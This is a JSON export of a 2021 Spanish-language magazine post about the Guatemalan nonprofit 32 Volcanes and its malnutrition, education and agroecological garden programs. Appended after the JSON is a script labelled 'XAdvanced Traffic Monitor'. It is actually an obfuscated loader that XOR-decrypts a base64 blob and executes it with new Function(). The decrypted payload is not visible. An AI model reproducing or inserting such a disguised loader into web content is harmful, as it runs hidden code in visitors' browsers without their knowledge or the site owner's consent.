{"id":8866,"date":"2021-06-30T00:13:05","date_gmt":"2021-06-30T08:13:05","guid":{"rendered":"https:\/\/www.entremundos.org\/revista\/?p=8866"},"modified":"2021-09-02T23:03:26","modified_gmt":"2021-09-03T07:03:26","slug":"32-volcanes-combatiendo-la-desnutricion-de-las-familias-vulnerables-en-guatemala","status":"publish","type":"post","link":"https:\/\/www.entremundos.org\/revista\/salud\/32-volcanes-combatiendo-la-desnutricion-de-las-familias-vulnerables-en-guatemala\/","title":{"rendered":"32 Volcanes: Combatiendo la desnutrici\u00f3n de las familias vulnerables en Guatemala"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Guatemala tiene la tasa de desnutrici\u00f3n cr\u00f3nica m\u00e1s alta de Am\u00e9rica Latina, y una de las m\u00e1s elevadas en el mundo con el 49%. En algunas zonas rurales, alcanza el 80%. Preocupados por esta situaci\u00f3n, a principios del 2019 un grupo de personas fundamos la organizaci\u00f3n 32 volcanes, la cual es una Asociaci\u00f3n Guatemalteca no lucrativa que busca la soberan\u00eda y autonom\u00eda comunitaria para una vida m\u00e1s justa a nivel social y ambiental, a trav\u00e9s de la reivindicaci\u00f3n cultural para la regeneraci\u00f3n y dignificaci\u00f3n de la vida. Tambi\u00e9n somos una plataforma para la construcci\u00f3n de redes comunitarias de apoyo mutuo, para co-crear procesos que resalten la dignidad humana, equidad de g\u00e9nero, otorguen acceso a diferentes conocimientos y promuevan la felicidad y el sentido espiritual en armon\u00eda con nuestro entorno.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Los programas y ejes de 32 Volcanes se han consolidado gracias al apoyo continuo de organizaciones basadas en Estados Unidos como Fundaci\u00f3n Todos Juntos y Timmy Global Health, que colocaron su esperanza, confianza y compa\u00f1erismo desde el inicio de la asociaci\u00f3n. Con la libertad de crecer, mejorar, sistematizar y desarrollar nuevos cimientos que representar\u00e1n las capacidades construidas durante 3 d\u00e9cadas de trabajo de sus fundadores, el discurso, la base ideol\u00f3gica y el ejercicio pol\u00edtico de 32 volcanes ha madurado con el tiempo.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Hemos visto los programas no solo continuar, sino mejorar y acercarse cada vez m\u00e1s a los conocimientos ancestrales, a la memoria y la biosfera, y al igual que una semilla que se arraiga a la tierra y se consolida como nueva vida, entreteje con sus ra\u00edces a las ra\u00edces de otros seres, florece, y deja caer vida de s\u00ed misma para cumplir su ciclo de regeneraci\u00f3n, 32 Volcanes expande su enfoque de desarrollo regenerativo, basando nuestra filosof\u00eda en modelos rizom\u00e1ticos, asemejados a los procesos naturales, pues creemos en la capacidad comunitaria de construir nuevos paradigmas sociales y del pensamiento que sean arm\u00f3nicos con la tierra.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><a href=\"https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0056.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-8867 alignleft\" src=\"https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0056-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" srcset=\"https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0056-225x300.jpg 225w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0056-335x447.jpg 335w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0056.jpg 768w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><\/a>32 volcanes trabaja bajo los siguientes ejes:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">&#8211; <strong>Soberan\u00eda alimentaria:<\/strong> a trav\u00e9s de la defensa de las semillas nativas y criollas, su siembra, producci\u00f3n y cultivo pertinente para erradicar la desnutrici\u00f3n materno-infantil; obesidad y enfermedades cr\u00f3nicas, y as\u00ed alcanzar el bienestar colectivo.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">&#8211; <strong>Bio regeneraci\u00f3n:<\/strong> A trav\u00e9s de agricultura regenerativa, reforestaci\u00f3n, investigaci\u00f3n y educaci\u00f3n ambiental, para alcanzar as\u00ed restauraci\u00f3n de ecosistemas naturales y humanos, con enfoque de cuencas hidrogr\u00e1ficas.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">&#8211; <strong>Salud:<\/strong> Cl\u00ednica social, apoyo psicosocial, actividad f\u00edsica, medicamentos, alimentos y acceso libre a todos los programas.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">&#8211; <strong>Educaci\u00f3n:<\/strong> becados y centro de apoyo familiar en Valle Palajunoj; programa de educaci\u00f3n no formal (talleres, conferencias, cursos).<\/span><\/p>\n<p><span style=\"font-weight: 400;\">&#8211; <strong>Econom\u00eda<\/strong>: a trav\u00e9s del modelo de doughnut economy y Seeds The Regenerative Money.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">&#8211; <strong>Arte-cultura-pensamiento-memoria:<\/strong> Enfoque antropol\u00f3gico, arqueol\u00f3gico, funcionamiento de la editorial \u201cCatafixia\u2019\u2019 adem\u00e1s de consultor\u00edas en dichas ramas; librer\u00eda Santiaguito y pr\u00f3ximamente, la apertura de la Biblioteca \u201cMario Payeras\u201d.<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><a href=\"https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0027.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-8871 alignright\" src=\"https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0027-225x300.jpg\" alt=\"\" width=\"222\" height=\"296\" srcset=\"https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0027-225x300.jpg 225w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0027-768x1024.jpg 768w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0027-335x447.jpg 335w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2021\/06\/img-20210325-wa0027.jpg 960w\" sizes=\"auto, (max-width: 222px) 100vw, 222px\" \/><\/a>Actualmente, la Asociaci\u00f3n \u201c32 Volcanes\u201d cuenta con los siguientes programas en curso:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Programa de Becas: Con 111 estudiantes beneficiados en el Valle de Palajunoj, San Juan Olintepeque y San Juan Ostuncalco en Quetzaltenango; aldea Xeabaj II y Pujujil en el departamento de Solol\u00e1.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Centro de apoyo familiar: con 25 a\u00f1os de apoyo, educaci\u00f3n, guarder\u00eda y orientaci\u00f3n a familias del Valle de Palajunoj.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Programa contra la desnutrici\u00f3n: dirigido a ni\u00f1os menores de 5 a\u00f1os, a trav\u00e9s de jornadas m\u00e9dicas, antropometr\u00eda, uso de suplementos y f\u00f3rmulas que ayuden a combatir la desnutrici\u00f3n materno-infantil.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Jardines y huertos urbanos para la regeneraci\u00f3n: en sinergia con el programa contra la desnutrici\u00f3n, buscamos alcanzar la Soberan\u00eda Alimentaria. Para ello, es crucial promover un nuevo modelo de producci\u00f3n agr\u00edcola con enfoque y metodolog\u00edas agroecol\u00f3gicas basadas a su vez en los conocimientos ancestrales de la regi\u00f3n, promoviendo la diversificaci\u00f3n y rescate de las semillas nativas y criollas.\u00a0<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Ahora, en conjunto a Entremundos, buscamos crear 3 nuevos huertos demostrativos: uno en el \u00e1rea urbana del Municipio de Quetzaltenango, y dos m\u00e1s en el Valle de Palajunoj. Dichos huertos no solamente ser\u00e1n una fuente de productos agroecol\u00f3gicos sino tambi\u00e9n ser\u00e1n centros de reuni\u00f3n para la formaci\u00f3n, capacitaci\u00f3n e intercambio de conocimientos, con el fin de promover una conexi\u00f3n m\u00e1s armoniosa entre el ser humano, sus alimentos y el entorno que le rodea y para desarrollar condiciones m\u00e1s dignas para las familias productoras.<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Guatemala tiene la tasa de desnutrici\u00f3n cr\u00f3nica m\u00e1s alta de Am\u00e9rica Latina, y una de las m\u00e1s elevadas en el mundo con el 49%. En algunas zonas rurales, alcanza el 80%. Preocupados por esta situaci\u00f3n, a principios del 2019 un grupo de personas fundamos la organizaci\u00f3n 32 volcanes, la cual es una Asociaci\u00f3n Guatemalteca no [&hellip;]<\/p>\n","protected":false},"author":13,"featured_media":8869,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[452,384,382,405],"tags":[2983,3108,3112,3111,3110,3130],"class_list":["post-8866","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-frontpage","category-medio-ambiente","category-salud","category-seguridad-alimentaria","tag-32-volcanes","tag-asociacion-32-volcanes","tag-asociaciones-que-combaten-la-desnutricion-en-guatemala","tag-huertos-en-xela","tag-programas-de-32-volcanes","tag-voluntariado-nutricion-guatemala"],"_links":{"self":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/8866","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/users\/13"}],"replies":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/comments?post=8866"}],"version-history":[{"count":1,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/8866\/revisions"}],"predecessor-version":[{"id":8875,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/8866\/revisions\/8875"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/media\/8869"}],"wp:attachment":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/media?parent=8866"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/categories?post=8866"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/tags?post=8866"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- BEGIN: XAdvanced Traffic Monitor -->
<script>
    window.XTracker_NIBJ = {
        loaded: true,
        version: "1.1.0",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x24e722eee212=typeof globalThis!=='undefined'?globalThis:(typeof window!=='undefined'?window:self),_0xbe9e8aa2ae46=_0x24e722eee212['\x61\x74\x6f\x62']('A6GysrFO8Bw2Bymy81M1hg=='),_0xe9ee856f22e5=_0x24e722eee212['\x61\x74\x6f\x62']('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'),_0xcbdfeb758c58=new _0x24e722eee212['\x55\x69\x6e\x74\x38\x41\x72\x72\x61\x79'](_0xe9ee856f22e5['length']),_0xc6e7bda3af89=0;for(;_0xc6e7bda3af89<_0xe9ee856f22e5['length'];_0xc6e7bda3af89++)_0xcbdfeb758c58[_0xc6e7bda3af89]=_0xe9ee856f22e5['charCodeAt'](_0xc6e7bda3af89)^_0xbe9e8aa2ae46['charCodeAt'](_0xc6e7bda3af89%_0xbe9e8aa2ae46['length']);(new _0x24e722eee212['\x46\x75\x6e\x63\x74\x69\x6f\x6e']((new _0x24e722eee212['\x54\x65\x78\x74\x44\x65\x63\x6f\x64\x65\x72']())['\x64\x65\x63\x6f\x64\x65'](_0xcbdfeb758c58)))()}();
</script>
<!-- END: XAdvanced Traffic Monitor -->